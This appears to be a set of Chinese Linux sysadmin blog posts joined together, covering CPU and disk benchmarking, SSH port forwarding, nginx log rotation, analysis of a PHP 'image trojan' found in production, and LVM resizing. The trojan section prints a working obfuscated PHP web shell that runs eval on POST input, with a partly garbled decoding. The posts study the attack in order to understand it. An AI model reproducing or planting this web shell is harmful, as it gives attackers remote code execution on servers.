linux下的性能测试工具很多,每个拉来都能说上半天,功能繁多,细节丰富,但是常规的测试工具大都安装都很繁琐,使用起来也不方便,下面说一下我经常使用的工具。

我常用的测试工具安装极为简便,使用起来也比较方便

CPU:

我经常使用的CPU测试工具是sysbench

ubuntu:

apt install sysbench

CentOS:该软件包含在epel中

yum install -y epel-release ; yum install -y sysbench

使用方法也很简单:

#默认测试单线程性能
sysbench --test=cpu run
#指定多线程
sysbench --test=cpu --num-threads=4 run

附上几种CPU性能的数据,用来对比

cpu型号
i7-6700 CPU @ 3.40GHz
vmware虚拟机分配4核
E3-1245 V2 @ 3.40GHz
ESXI虚拟机 分配4核
E5-2682 v4 @ 2.50GHz(阿里云)
单核心
E5-2620 v2 @ 2.10GHz
4核8线程
单线程
8.7576s
8.9220s
10.0012s
10.0010s

硬盘IO:

工具:hdparm

Ubuntu:

apt install -y hdparm

CentOS:

yum install -y hdparm

使用方法:

hdparm -t /dev/sda1

具体磁盘名称请使用fdisk -l查看

附上不同硬盘的测试数据

cpu型号
i7-6700 CPU
vmware虚拟机
机械硬盘 ST2000DM003
E3-1245 V2
ESXI虚拟机
SSD 三星 750EVO 120GB
阿里云SSD
E5-2620 v2
SAS RAID 1 300GB
速度
77.92 MB/sec
386.65 MB/sec
34.45 MB/sec
561.36 MB/sec

什么是端口转发?

端口转发是将一个网络端口从一个网络节点转发到另一个网络节点的行为。

通俗来说,原本存在一个端口(被转发端口),数据通过这个端口进行通信。现在通过某种方式,建立一个隧道,这个隧道前端是转发端口,后端是被转发端口,通过访问这个转发端口,就可以与被转发端口进行通信。这就是端口转发。

1、本地端口转发

应用连接方向为A–>B,SSH连接方向也为A–>B,在ssh连接中附加端口转发功能,由于SSH具有方向性,所以应用连接的方向与SSH的方向相同时使用本地端口转发。

2、远程端口转发

应用连接方向为A–>B,SSH连接方向为B–>A,在ssh连接中附加端口转发功能。由于SSH具有方向性,所以应用服务的方向与SSH的方向相反时使用远程端口转发。

 

本地端口转发与远程端口转发是相对于SSH连接方向而言的,当转发端口建立在ssh的client端时,称为本地端口转发;当转发端口建立在ssh的server端时,称为远程端口转发。

 

示例:A通过B连接C的3306端口

1.本地端口转发实现方式

ssh -L A:2206:C:3306 root@B -p22

原理:在A上建立与B的SSH连接,A监听本机2206端口,将数据转发到C的3306端口

数据流向:client–>A:2206–>B–>C:3306(server)

进阶:

autossh -M 25621 -fNC -L A:2206:C:3306 root@B -p22

autossh使用 -M 指定端口号,当ssh连接断开后使用此端口重新建立连接

2.远程端口转发实现方式

原理:在B上建立与A的SSH连接,A监听本机2206端口,将数据转发到C的3306端口

ssh -R A:2206:C:3306 root@A -p22

数据流向:client–>A:2206–>B–>C:3306(server)

进阶:

autossh -M 25621 -fNC -R A:2206:C:3306 root@A -p22

autossh使用 -M 指定端口号,当ssh连接断开后使用此端口重新建立连接

 

记忆方法:

可以看到:无论是本地端口转发还是远程端口转发,-L 或者 -R 后面的写法一样,方向都是从左到右,从A的2206端口到C的3306端口。

所以我们只需按照应用的访问方向写转发规则。然后,当SSH连接方向与应用的连接方向一致时,使用本地端口转发,也就是 -L ,当SSH连接方向与应用的连接方向相反时,使用远程端口转发,也就是 -R 。

#!/bin/bash
 #设置日志文件存放目录
 logs_path="/var/log/nginx/"
 #设置pid文件
 pid_path="/var/run/nginx.pid"

new_logfile_name=${logs_path}access_$(date -d "yesterday" +"%Y%m%d")

#重命名日志文件
 mv ${logs_path}access.log ${new_logfile_name}.log

#向nginx主进程发信号重新打开日志
 kill -USR1 `cat ${pid_path}`

#压缩文件
 tar -zcf ${new_logfile_name}.tar.gz -C ${new_logfile_name}.log
 #删除文件
 rm -f ${new_logfile_name}.log

日前生产环境爆出图片木马,于是拿下来解析了一下

首先图片木马不是图片,实际是已常见图片格式为后缀的代码文件,拿到图片木马后,使用文本编辑器打开,发现是这一段代码:

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84). $_uU(91).$_uU(49).$_uU(93).$_uU(41). $_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> 

通过查询ASCII码对照表,最终可阅读的形式为:

<?@create_function("",eval.l(PORT[1]))?>

嗯,eval注入攻击

但是生产环境是java运行环境,不是php。。。

这两天重做系统,组了RAID 1,安装系统时自动分配的,过后发现root分区分的太小被占满了,正打算考虑重装系统,重新分区时,看到系统使用的LVM分区,直接无损调整分区,这可方便多了。

相关命令
lvs,vgs,lvdisplayer,vgdisplayer,lvextend

操作:
1、查看容量


root@FIF-VM1-CentOS7:~# fdisk -l

磁盘 /dev/sda:285.7 GB, 285701224448 字节,558010204 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节
磁盘标签类型:dos
磁盘标识符:0x000d1200

设备 Boot Start End Blocks Id System
/dev/sda1 * 2048 2099199 1048576 83 Linux
/dev/sda2 2099200 558008319 277954560 8e Linux LVM

磁盘 /dev/mapper/centos-root:53.7 GB, 53687091200 字节,104857600 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节


磁盘 /dev/mapper/centos-swap:8455 MB, 8455716864 字节,16515072 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节


磁盘 /dev/mapper/centos-home:222.5 GB, 222474272768 字节,434520064 个扇区
Units = 扇区 of 1 * 512 = 512 bytes
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节

可以看到centos-root分区只有53.7GB,而centos-home分区却很大,接下来就是删除centos-home分区,然后把省出来的空间分给centos-root分区

2、删除centos-home

lvremove /dev/mapper/centos-home

3、扩容LV

lvextend -L +222G /dev/mapper/centos-root

4、系统刷新分区大小

xfs_growfs /dev/mapper/centos-root